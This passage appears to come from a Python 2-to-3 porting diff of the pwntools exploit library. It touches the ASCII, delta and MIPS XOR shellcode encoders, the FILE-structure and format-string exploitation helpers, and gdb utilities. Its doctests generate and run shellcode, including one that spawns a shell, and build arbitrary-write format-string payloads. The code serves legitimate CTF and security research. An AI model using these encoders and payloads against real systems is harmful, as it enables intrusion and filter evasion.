>>> avoid = {'\x00', '\x83', '\x04', '\x87', '\x08', '\x8b', '\x0c', '\x8f', '\x10', '\x93', '\x14', '\x97', '\x18', '\x9b', '\x1c', '\x9f', ' ', '\xa3', '\xa7', '\xab', '\xaf', '\xb3', '\xb7', '\xbb', '\xbf', '\xc3', '\xc7', '\xcb', '\xcf', '\xd3', '\xd7', '\xdb', '\xdf', '\xe3', '\xe7', '\xeb', '\xef', '\xf3', '\xf7', '\xfb', '\xff', '\x80', '\x03', '\x84', '\x07', '\x88', '\x0b', '\x8c', '\x0f', '\x90', '\x13', '\x94', '\x17', '\x98', '\x1b', '\x9c', '\x1f', '\xa0', '\xa4', '\xa8', '\xac', '\xb0', '\xb4', '\xb8', '\xbc', '\xc0', '\xc4', '\xc8', '\xcc', '\xd0', '\xd4', '\xd8', '\xdc', '\xe0', '\xe4', '\xe8', '\xec', '\xf0', '\xf4', '\xf8', '\xfc', '\x7f', '\x81', '\x02', '\x85', '\x06', '\x89', '\n', '\x8d', '\x0e', '\x91', '\x12', '\x95', '\x16', '\x99', '\x1a', '\x9d', '\x1e', '\xa1', '\xa5', '\xa9', '\xad', '\xb1', '\xb5', '\xb9', '\xbd', '\xc1', '\xc5', '\xc9', '\xcd', '\xd1', '\xd5', '\xd9', '\xdd', '\xe1', '\xe5', '\xe9', '\xed', '\xf1', '\xf5', '\xf9', '\xfd', '\x01', '\x82', '\x05', '\x86', '\t', '\x8a', '\r', '\x8e', '\x11', '\x92', '\x15', '\x96', '\x19', '\x9a', '\x1d', '\x9e', '\xa2', '\xa6', '\xaa', '\xae', '\xb2', '\xb6', '\xba', '\xbe', '\xc2', '\xc6', '\xca', '\xce', '\xd2', '\xd6', '\xda', '\xde', '\xe2', '\xe6', '\xea', '\xee', '\xf2', '\xf6', '\xfa', '\xfe'}
>>> sc = shellcraft.echo("Hello world") + shellcraft.exit()
>>> ascii = encoders.i386.ascii_shellcode.encode(asm(sc), avoid)
>>> ascii += asm('jmp esp') # just for testing, the unpacker should also run on the stack
>>> ELF.from_bytes(ascii).process().recvall()
b'Hello world'
"""
if not avoid:
vocab = bytearray(
b"!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~")
else:
required_chars = set('\\-%TXP')
allowed = set(all_chars)
if avoid.intersection(required_chars):
raise RuntimeError(
'''These characters ({}) are required because they assemble
into instructions used to unpack the shellcode'''.format(
str(required_chars, 'ascii')))
allowed.difference_update(avoid)
vocab = bytearray(map(ord, allowed))
if context.arch != 'i386' or context.bits != 32:
raise RuntimeError('Only 32-bit i386 is currently supported')
int_size = context.bytes
# Prepend with NOPs for the NOP sled
shellcode = bytearray(b'\x90'*int_size + raw_bytes)
subtractions = self._get_subtractions(shellcode, vocab)
allocator = self._get_allocator(len(subtractions) + self.slop, vocab)
nop_sled = b'P' * self.slop # push eax
return bytes(allocator + subtractions + nop_sled)
@LocalContext
def _get_allocator(self, size, vocab):
r""" Allocate enough space on the stack for the shellcode
int_size is taken from the context
Args:
size (int): The allocation size
vocab (bytearray): Allowed characters
Returns:
bytearray: The allocator shellcode
Examples:
>>> context.update(arch='i386', os='linux')
>>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~')
>>> encoders.i386.ascii_shellcode.encode._get_allocator(300, vocab)
bytearray(b'TX-!!!!-!_``-t~~~P\\%!!!!%@@@@')
"""
size += 0x1e # add typical allocator size
int_size = context.bytes
# Use eax for subtractions because sub esp, X doesn't assemble to ascii
result = bytearray(b'TX') # push esp; pop eax
# Set target to the `size` arg
target = bytearray(pack(size))
# All we are doing here is adding (subtracting) `size`
# to esp (to allocate space on the stack), so we don't care
# about esp's actual value. That's why the `last` parameter
# for `calc_subtractions` can just be zero
for subtraction in self._calc_subtractions(
bytearray(int_size), target, vocab):
# sub eax, subtraction
result += b'-' + subtraction
result += b'P\\' # push eax, pop esp
# Zero out eax for the unpacking part
pos, neg = self._find_negatives(vocab)
# and eax, pos; and eax, neg ; (0b00010101 & 0b00101010 = 0b0)
result += flat((b'%', pos, b'%', neg))
return result
@LocalContext
def _find_negatives(self, vocab):
r""" Find two bitwise negatives in the vocab so that when they are
and-ed the result is 0.
int_size is taken from the context
Args:
vocab (bytearray): Allowed characters
Returns:
Tuple[int, int]: value A, value B
Raises:
ArithmeticError: The allowed character set does not contain
two characters that when they are bitwise-and-ed with eachother
the result is 0
Examples:
>>> context.update(arch='i386', os='linux')
>>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~')
>>> a, b = encoders.i386.ascii_shellcode.encode._find_negatives(vocab)
>>> a & b
0
"""
int_size = context.bytes
for products in product(vocab, vocab):
if products[0] & products[1] == 0:
return tuple(
# pylint: disable=undefined-variable
unpack(p8(x)*int_size) # noqa: F405
for x in bytearray(products)
)
else:
raise ArithmeticError(
'Could not find two bitwise negatives in the provided vocab')
@LocalContext
def _get_subtractions(self, shellcode, vocab):
r""" Covert the sellcode to sub eax and posh eax instructions
int_size is taken from the context
Args:
shellcode (bytearray): The shellcode to pack
vocab (bytearray): Allowed characters
Returns:
bytearray: packed shellcode
Examples:
>>> context.update(arch='i386', os='linux')
>>> sc = bytearray(b'ABCDEFGHIGKLMNOPQRSTUVXYZ')
>>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~')
>>> encoders.i386.ascii_shellcode.encode._get_subtractions(sc, vocab)
bytearray(b'-(!!!-~NNNP-!=;:-f~~~-~~~~P-!!!!-edee-~~~~P-!!!!-eddd-~~~~P-!!!!-egdd-~~~~P-!!!!-eadd-~~~~P-!!!!-eddd-~~~~P')
"""
int_size = context.bytes
result = bytearray()
last = bytearray(int_size)
# Group the shellcode into bytes of stack cell size, pad with NOPs
# if the shellcode does not divide into stack cell size and reverse.
# The shellcode will be reversed again back to it's original order once
# it's pushed onto the stack
sc = tuple(group(int_size, shellcode, 0x90))[::-1]
# Pack the shellcode to a sub/push sequence
for x in sc:
for subtraction in self._calc_subtractions(last, x, vocab):
result += b'-' + subtraction # sub eax, ...
last = x
result += b'P' # push eax
return result
@LocalContext
def _calc_subtractions(self, last, target, vocab):
r""" Given `target` and `last`, return a list of integers that when
subtracted from `last` will equal `target` while only constructing
integers from bytes in `vocab`
int_size is taken from the context
Args:
last (bytearray): Original value
target (bytearray): Desired value
vocab (bytearray): Allowed characters
Raises:
ArithmeticError: If a sequence of subtractions could not be found
Returns:
List[bytearray]: List of numbers that would need to be subtracted
from `last` to get to `target`
Examples:
>>> context.update(arch='i386', os='linux')
>>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~')
>>> print(encoders.i386.ascii_shellcode.encode._calc_subtractions(bytearray(b'\x10'*4), bytearray(b'\x11'*4), vocab))
[bytearray(b'!!!!'), bytearray(b'`___'), bytearray(b'~~~~')]
>>> print(encoders.i386.ascii_shellcode.encode._calc_subtractions(bytearray(b'\x11\x12\x13\x14'), bytearray(b'\x15\x16\x17\x18'), vocab))
[bytearray(b'~}}}'), bytearray(b'~~~~')]
"""
int_size = context.bytes
subtractions = [bytearray(int_size)]
for sub in range(self.max_subs):
carry = success_count = 0
for byte in range(int_size):
# Try all combinations of all the characters in vocab of
# `subtraction` characters in each combination. So if
# `max_subs` is 4 and we're on the second subtraction attempt,
# products will equal
# [\, ", #, %, ...], [\, ", #, %, ...], (0,), (0,)
for products in product(
*[x <= sub and vocab or (0,) for x in range(self.max_subs)]
):
# Sum up all the products, carry from last byte and
# the target
attempt = target[byte] + carry + sum(products)
# If the attempt equals last, we've found the combination
if last[byte] == attempt & 0xff:
carry = (attempt & 0xff00) >> 8
# Update the result with the current `products`
for p, i in zip(products, range(sub + 1)):
subtractions[i][byte] = p
success_count += 1
break
if success_count == int_size:
return subtractions
else:
subtractions.append(bytearray(int_size))
else:
raise ArithmeticError(
str.format(
'''Could not find the correct subtraction sequence
to get the the desired target ({}) from ({})''',
target[byte], last[byte]))
encode = AsciiShellcodeEncoder()
+16 -16
View File
@@ -1,6 +1,7 @@
from __future__ import absolute_import
from __future__ import division
import six
import collections
from random import choice
from random import randint
@@ -41,7 +42,7 @@ class i386DeltaEncoder(Encoder):
Example:
>>> sc = pwnlib.encoders.i386.delta.encode('\xcc', '\x00\xcc')
>>> sc = pwnlib.encoders.i386.delta.encode(b'\xcc', b'\x00\xcc')
>>> e = ELF.from_bytes(sc)
>>> e.process().poll(True)
-5
@@ -50,36 +51,35 @@ class i386DeltaEncoder(Encoder):
arch = 'i386'
stub = None
terminator = 0xac
raw = '\xd9\xd0\xfc\xd9t$\xf4^\x83\xc6\x18\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
raw = b'\xd9\xd0\xfc\xd9t$\xf4^\x83\xc6\x18\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
blacklist = set(raw)
def __call__(self, bytes, avoid, pcreg=''):
def __call__(self, raw_bytes, avoid, pcreg=''):
table = collections.defaultdict(lambda: [])
endchar = ''
endchar = bytearray()
not_bad = lambda x: chr(x) not in avoid
not_bad = lambda x: six.int2byte(x) not in avoid
not_bad_or_term = lambda x: not_bad(x) and x != self.terminator
for i in filter(not_bad_or_term, range(0, 256)):
endchar += chr(i)
endchar.append(i)
for j in filter(not_bad, range(0, 256)):
table[(j - i) & 0xff].append(chr(i) + chr(j))
table[(j - i) & 0xff].append(bytearray([i, j]))
res = self.raw
res = bytearray(self.raw)
for c in bytes:
a = ord(c)
l = len(table[a])
for c in bytearray(raw_bytes):
l = len(table[c])
if l == 0:
print('No encodings for character %02x' % a)
print('No encodings for character %02x' % c)
return None
res += table[a][randint(0, l - 1)]
res += table[c][randint(0, l - 1)]
res += chr(self.terminator)
res += choice(endchar)
res.append(self.terminator)
res.append(choice(endchar))
return res
return bytes(res)
encode = i386DeltaEncoder()
-1
View File
@@ -1,4 +1,3 @@
#!/usr/bin/env python2
# Source:
# http://www.iodigitalsec.com/python-cascading-xor-polymorphic-shellcode-generator/
#
+66 -66
View File
@@ -1,4 +1,3 @@
#!/usr/bin/env python2
# Source:
# https://github.com/zcutlip/bowcaster/blob/master/src/bowcaster/encoders/mips.py
#
@@ -26,6 +25,7 @@
from __future__ import absolute_import
from __future__ import division
import six
from pwnlib import asm
from pwnlib import shellcraft
from pwnlib.context import context
@@ -33,67 +33,67 @@ from pwnlib.encoders.encoder import Encoder
from pwnlib.util.fiddling import xor_key
decoders = {
'little': ''.join([
"SIZ2SIZ1\x0e\x24", # li t6,-5
"\x27\x70\xc0\x01", # nor t6,t6,zero
"\xa3\xff\x0b\x24", # li t3,-93
"\x26\x40\xce\x01", # xor t0,t6,t6
"\xff\xff\x08\x21", # addi t0,t0,-1
"\xff\xff\x10\x05", # bltzal t0,14 <next>
"\x82\x82\x08\x28", # slti t0,zero,-32126
"\xe2\xff\xfd\x23", # addi sp,ra,-30
"\x27\x58\x60\x01", # nor t3,t3,zero
"\x21\xc8\xeb\x03", # addu t9,ra,t3
"\x82\x82\x17\x28", # slti s7,zero,-32126
"\xfc\xff\x31\x8f", # lw s1,-4(t9)
"\xfb\xff\x0c\x24", # li t4,-5
"\x27\x60\x80\x01", # nor t4,t4,zero
"\xfd\xff\x8f\x21", # addi t7,t4,-3
"\xfc\xff\x28\x8f", # lw t0,-4(t9)
"\x21\xb8\xef\x02", # addu s7,s7,t7
"\x26\x18\x11\x01", # xor v1,t0,s1
"\x2b\xf0\xee\x02", # sltu s8,s7,t6
"\xfc\xff\x23\xaf", # sw v1,-4(t9)
"\xfa\xff\x1e\x14", # bne zero,s8,3c <loop>
"\x21\xc8\x2c\x03", # addu t9,t9,t4
"\xfd\xff\x86\x21", # addi a2,t4,-3
"\xf8\xff\xa6\xaf", # sw a2,-8(sp)
"\x26\x28\xce\x01", # xor a1,t6,t6
"\xfc\xff\xa5\xaf", # sw a1,-4(sp)
"\xf8\xff\xa4\x27", # addiu a0,sp,-8
"\x46\x10\x02\x24", # li v0,4166
"\x0c\x54\x4a\x01" # syscall 0x52950
'little': b''.join([
b'SIZ2SIZ1\x0e\x24', # li t6,-5
b'\x27\x70\xc0\x01', # nor t6,t6,zero
b'\xa3\xff\x0b\x24', # li t3,-93
b'\x26\x40\xce\x01', # xor t0,t6,t6
b'\xff\xff\x08\x21', # addi t0,t0,-1
b'\xff\xff\x10\x05', # bltzal t0,14 <next>
b'\x82\x82\x08\x28', # slti t0,zero,-32126
b'\xe2\xff\xfd\x23', # addi sp,ra,-30
b'\x27\x58\x60\x01', # nor t3,t3,zero
b'\x21\xc8\xeb\x03', # addu t9,ra,t3
b'\x82\x82\x17\x28', # slti s7,zero,-32126
b'\xfc\xff\x31\x8f', # lw s1,-4(t9)
b'\xfb\xff\x0c\x24', # li t4,-5
b'\x27\x60\x80\x01', # nor t4,t4,zero
b'\xfd\xff\x8f\x21', # addi t7,t4,-3
b'\xfc\xff\x28\x8f', # lw t0,-4(t9)
b'\x21\xb8\xef\x02', # addu s7,s7,t7
b'\x26\x18\x11\x01', # xor v1,t0,s1
b'\x2b\xf0\xee\x02', # sltu s8,s7,t6
b'\xfc\xff\x23\xaf', # sw v1,-4(t9)
b'\xfa\xff\x1e\x14', # bne zero,s8,3c <loop>
b'\x21\xc8\x2c\x03', # addu t9,t9,t4
b'\xfd\xff\x86\x21', # addi a2,t4,-3
b'\xf8\xff\xa6\xaf', # sw a2,-8(sp)
b'\x26\x28\xce\x01', # xor a1,t6,t6
b'\xfc\xff\xa5\xaf', # sw a1,-4(sp)
b'\xf8\xff\xa4\x27', # addiu a0,sp,-8
b'\x46\x10\x02\x24', # li v0,4166
b'\x0c\x54\x4a\x01' # syscall 0x52950
]),
'big': ''.join([
"\x24\x0eSIZ1SIZ2", # li t6,-5
"\x01\xc0\x70\x27", # nor t6,t6,zero
"\x24\x0b\xff\xa3", # li t3,-93
"\x01\xce\x40\x26", # xor t0,t6,t6
"\x21\x08\xff\xff", # addi t0,t0,-1
"\x05\x10\xff\xff", # bltzal t0,14 <next>
"\x28\x08\x82\x82", # slti t0,zero,-32126
"\x23\xfd\xff\xe2", # addi sp,ra,-30
"\x01\x60\x58\x27", # nor t3,t3,zero
"\x03\xeb\xc8\x21", # addu t9,ra,t3
"\x28\x17\x82\x82", # slti s7,zero,-32126
"\x8f\x31\xff\xfc", # lw s1,-4(t9)
"\x24\x0c\xff\xfb", # li t4,-5
"\x01\x80\x60\x27", # nor t4,t4,zero
"\x21\x8f\xff\xfd", # addi t7,t4,-3
"\x8f\x28\xff\xfc", # lw t0,-4(t9)
"\x02\xef\xb8\x21", # addu s7,s7,t7
"\x01\x11\x18\x26", # xor v1,t0,s1
"\x02\xee\xf0\x2b", # sltu s8,s7,t6
"\xaf\x23\xff\xfc", # sw v1,-4(t9)
"\x14\x1e\xff\xfa", # bne zero,s8,3c <loop>
"\x03\x2c\xc8\x21", # addu t9,t9,t4
"\x21\x86\xff\xfd", # addi a2,t4,-3
"\xaf\xa6\xff\xf8", # sw a2,-8(sp)
"\x01\xce\x28\x26", # xor a1,t6,t6
"\xaf\xa5\xff\xfc", # sw a1,-4(sp)
"\x27\xa4\xff\xf8", # addiu a0,sp,-8
"\x24\x02\x10\x46", # li v0,4166
"\x01\x4a\x54\x0c" # syscall 0x52950
'big': b''.join([
b'\x24\x0eSIZ1SIZ2', # li t6,-5
b'\x01\xc0\x70\x27', # nor t6,t6,zero
b'\x24\x0b\xff\xa3', # li t3,-93
b'\x01\xce\x40\x26', # xor t0,t6,t6
b'\x21\x08\xff\xff', # addi t0,t0,-1
b'\x05\x10\xff\xff', # bltzal t0,14 <next>
b'\x28\x08\x82\x82', # slti t0,zero,-32126
b'\x23\xfd\xff\xe2', # addi sp,ra,-30
b'\x01\x60\x58\x27', # nor t3,t3,zero
b'\x03\xeb\xc8\x21', # addu t9,ra,t3
b'\x28\x17\x82\x82', # slti s7,zero,-32126
b'\x8f\x31\xff\xfc', # lw s1,-4(t9)
b'\x24\x0c\xff\xfb', # li t4,-5
b'\x01\x80\x60\x27', # nor t4,t4,zero
b'\x21\x8f\xff\xfd', # addi t7,t4,-3
b'\x8f\x28\xff\xfc', # lw t0,-4(t9)
b'\x02\xef\xb8\x21', # addu s7,s7,t7
b'\x01\x11\x18\x26', # xor v1,t0,s1
b'\x02\xee\xf0\x2b', # sltu s8,s7,t6
b'\xaf\x23\xff\xfc', # sw v1,-4(t9)
b'\x14\x1e\xff\xfa', # bne zero,s8,3c <loop>
b'\x03\x2c\xc8\x21', # addu t9,t9,t4
b'\x21\x86\xff\xfd', # addi a2,t4,-3
b'\xaf\xa6\xff\xf8', # sw a2,-8(sp)
b'\x01\xce\x28\x26', # xor a1,t6,t6
b'\xaf\xa5\xff\xfc', # sw a1,-4(sp)
b'\x27\xa4\xff\xf8', # addiu a0,sp,-8
b'\x24\x02\x10\x46', # li v0,4166
b'\x01\x4a\x54\x0c' # syscall 0x52950
])
}
@@ -104,7 +104,7 @@ class MipsXorEncoder(Encoder):
>>> context.clear(arch='mips')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = '/bin/sh\x00'
>>> avoid = b'/bin/sh\x00'
>>> encoded = pwnlib.encoders.mips.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
@@ -114,7 +114,7 @@ class MipsXorEncoder(Encoder):
"""
arch = 'mips'
blacklist = cannot_avoid = set(''.join(v for v in decoders.values()))
blacklist = cannot_avoid = set(b''.join(v for v in decoders.values()))
def __call__(self, raw_bytes, avoid, pcreg=''):
@@ -127,9 +127,9 @@ class MipsXorEncoder(Encoder):
sizelo = size & 0xff
sizehi = size >> 8
decoder = str(decoders[context.endian])
decoder = decoder.replace('SIZ1', chr(sizehi))
decoder = decoder.replace('SIZ2', chr(sizelo))
decoder = decoders[context.endian]
decoder = decoder.replace(b'SIZ1', six.int2byte(sizehi))
decoder = decoder.replace(b'SIZ2', six.int2byte(sizelo))
key, data = xor_key(raw_bytes, avoid=avoid)
+10 -3
View File
@@ -3,9 +3,12 @@
r"""
File Structure Exploitation
struct FILE (_IO_FILE) is the structure for File Streams. This offers various targets for exploitation on an existing bug in the code. Examples - _IO_buf_base and _IO_buf_end for reading data to arbitrary location.
struct FILE (_IO_FILE) is the structure for File Streams.
This offers various targets for exploitation on an existing bug in the code.
Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location.
Remembering the offsets of various structure members while faking a FILE structure can be difficult, so this python class helps you with that. Example-
Remembering the offsets of various structure members while faking a FILE structure can be difficult,
so this python class helps you with that. Example-
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(null=0xdeadbeef)
@@ -24,6 +27,7 @@ from __future__ import division
from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.util.misc import python_2_bytes_compatible
from pwnlib.util.packing import pack
log = getLogger(__name__)
@@ -62,6 +66,8 @@ variables={
26:{name:'vtable',size:length}
}
del name, size, length
def update_var(l):
r"""
@@ -91,6 +97,8 @@ def update_var(l):
var['unknown2']=48
return var
@python_2_bytes_compatible
class FileStructure(object):
r"""
Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
@@ -187,7 +195,6 @@ class FileStructure(object):
else:
structure += pack(self.__getattr__(val), self.length[val]*8)
return structure
__str__ = __bytes__
def struntil(self,v):
r"""
+1 -3
View File
@@ -11,7 +11,6 @@ from pwnlib.tubes.remote import remote
env_server = args.get('FLAG_HOST', 'flag-submission-server').strip()
env_port = args.get('FLAG_PORT', '31337').strip()
env_proto = args.get('FLAG_PROTO', 'tcp').strip()
env_file = args.get('FLAG_FILE', '/does/not/exist').strip()
env_exploit_name = args.get('EXPLOIT_NAME', 'unnamed-exploit').strip()
env_target_host = args.get('TARGET_HOST', 'unknown-target').strip()
@@ -24,7 +23,6 @@ def submit_flag(flag,
target=env_target_host,
server=env_server,
port=env_port,
proto=env_proto,
team=env_team_name):
"""
Submits a flag to the game server
@@ -35,7 +33,7 @@ def submit_flag(flag,
target(str): Target identifier, optional
server(str): Flag server host name, optional
port(int): Flag server port, optional
proto(str), Flag server protocol, optional
team(str): Team identifier, optional
Optional arguments are inferred from the environment,
or omitted if none is set.
+54 -60
View File
@@ -1,39 +1,39 @@
r"""
Provide some tools to exploit format string bug
Examples:
Let's use this program as an example:
>>> program = tempfile.mktemp()
>>> source = program + ".c"
>>> write(source, '''
... #include <stdio.h>
... #include <stdlib.h>
... #include <unistd.h>
... #include <sys/mman.h>
... #define MEMORY_ADDRESS ((void*)0x11111000)
... #define MEMORY_SIZE 1024
... #define TARGET ((int *) 0x11111110)
... int main(int argc, char const *argv[])
... {
... char buff[1024];
... void *ptr = NULL;
... int *my_var = TARGET;
... ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
... if(ptr != MEMORY_ADDRESS)
... {
... perror("mmap");
... return EXIT_FAILURE;
... }
... *my_var = 0x41414141;
... write(1, &my_var, sizeof(int *));
... scanf("%s", buff);
... dprintf(2, buff);
... write(1, my_var, sizeof(int));
... return 0;
... }''')
>>> gcc = process(["gcc", source, "-Wno-format-security", "-m32", "-o", program])
>>> gcc.poll(True) and gcc.recvall()
0
::
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
{
char buff[1024];
void *ptr = NULL;
int *my_var = TARGET;
ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if(ptr != MEMORY_ADDRESS)
{
perror("mmap");
return EXIT_FAILURE;
}
*my_var = 0x41414141;
write(1, &my_var, sizeof(int *));
scanf("%s", buff);
dprintf(2, buff);
write(1, my_var, sizeof(int));
return 0;
}
We can automate the exploitation of the process like so:
>>> program = pwnlib.data.elf.fmtstr.get('i386')
>>> def exec_fmt(payload):
... p = process(program)
... p.sendline(payload)
@@ -246,9 +246,9 @@ class AtomWrite(object):
Combine adjacent writes into a single write.
Example:
>>> context.clear(endian = "little")
>>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77))
AtomWrite(start=0, size=2, integer=0x201, mask=0xff77)
>>> context.clear(endian = "little")
>>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77))
AtomWrite(start=0, size=2, integer=0x201, mask=0x77ff)
"""
assert other.start == self.end, "writes to combine must be continous"
if context.endian == "little":
@@ -778,22 +778,22 @@ def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_
Examples:
>>> context.clear(arch = 'amd64')
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')))
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')))
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')))
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
>>> context.clear(arch = 'i386')
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')))
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
b'%322419390c%5$na\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')))
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')))
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')))
>>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
b'%1c%3$na\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')))
>>> fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')
b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'
"""
sz = WRITE_SIZE[write_size]
@@ -834,23 +834,13 @@ class FmtStr(object):
"""
def __init__(self, execute_fmt, offset = None, padlen = 0, numbwritten = 0):
"""
Instantiates an object which try to automating exploit the vulnerable process
Arguments:
execute_fmt(function): function to call for communicate with the vulnerable process
offset(int): the first formatter's offset you control
padlen(int): size of the pad you want to add before the payload
numbwritten(int): number of already written bytes
"""
def __init__(self, execute_fmt, offset=None, padlen=0, numbwritten=0):
self.execute_fmt = execute_fmt
self.offset = offset
self.padlen = padlen
self.numbwritten = numbwritten
if self.offset == None:
if self.offset is None:
self.offset, self.padlen = self.find_offset()
log.info("Found format string offset: %d", self.offset)
@@ -858,9 +848,10 @@ class FmtStr(object):
self.leaker = MemLeak(self._leaker)
def leak_stack(self, offset, prefix=b""):
leak = self.execute_fmt(prefix + b"START%%%d$pEND" % offset)
payload = b"START%%%d$pEND" % offset
leak = self.execute_fmt(prefix + payload)
try:
leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]
leak = re.findall(br"START(.*?)END", leak, re.MULTILINE | re.DOTALL)[0]
leak = int(leak, 16)
except ValueError:
leak = 0
@@ -872,7 +863,7 @@ class FmtStr(object):
leak = self.leak_stack(off, marker)
leak = pack(leak)
pad = cyclic_find(leak)
pad = cyclic_find(leak[:4])
if pad >= 0 and pad < 20:
return off, pad
else:
@@ -889,7 +880,10 @@ class FmtStr(object):
if addr & 0xfff == 0 and self.leaker._leak(addr+1, 3, False) == b"ELF":
return b"\x7f"
fmtstr = randoms(self.padlen).encode() + pack(addr) + b"START%%%d$sEND" % self.offset
fmtstr = fit({
self.padlen: b"START%%%d$sEND" % (self.offset + 16//context.bytes),
16 + self.padlen: addr
})
leak = self.execute_fmt(fmtstr)
leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]
@@ -908,7 +902,7 @@ class FmtStr(object):
"""
fmtstr = randoms(self.padlen).encode()
fmtstr += fmtstr_payload(self.offset, self.writes, numbwritten=self.padlen, write_size='byte')
fmtstr += fmtstr_payload(self.offset, self.writes, numbwritten=self.padlen + self.numbwritten, write_size='byte')
self.execute_fmt(fmtstr)
self.writes = {}
+110 -87
View File
@@ -67,7 +67,7 @@ which is intended to prevent processes from debugging eachother unless there is
a direct parent-child relationship.
This causes some issues with the normal Pwntools workflow, since the process
heirarchy looks like this:
hierarchy looks like this:
::
@@ -110,6 +110,7 @@ from pwnlib.asm import make_elf_from_assembly
from pwnlib.context import LocalContext
from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.timeout import Timeout
from pwnlib.util import misc
from pwnlib.util import proc
@@ -236,13 +237,14 @@ def _gdbserver_args(pid=None, path=None, args=None, which=None, env=None):
if pid:
gdbserver_args += ['--once', '--attach']
if env:
if env is not None:
env_args = []
for key in tuple(env):
if key.startswith('LD_'): # LD_PRELOAD / LD_LIBRARY_PATH etc.
env_args.append('{}={}'.format(key, env.pop(key)))
if env_args:
gdbserver_args += ['--wrapper', 'env'] + env_args + ['--']
env_args.append('{}="{}"'.format(key, env.pop(key)))
else:
env_args.append('{}="{}"'.format(key, env[key]))
gdbserver_args += ['--wrapper', 'env', '-i'] + env_args + ['--']
gdbserver_args += ['localhost:0']
gdbserver_args += args
@@ -261,7 +263,10 @@ def _gdbserver_port(gdbserver, ssh):
'Failed to spawn process under gdbserver. gdbserver error message: %s' % process_created
)
gdbserver.pid = int(process_created.split()[-1], 0)
try:
gdbserver.pid = int(process_created.split()[-1], 0)
except ValueError:
log.error('gdbserver did not output its pid (maybe chmod +x?): %s', six.ensure_str(process_created))
listening_on = b''
while b'Listening' not in listening_on:
@@ -300,8 +305,7 @@ def _get_runner(ssh=None):
@LocalContext
def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kwargs):
r"""debug(args) -> tube
r"""
Launch a GDB server with the specified command line,
and launches GDB to attach to it.
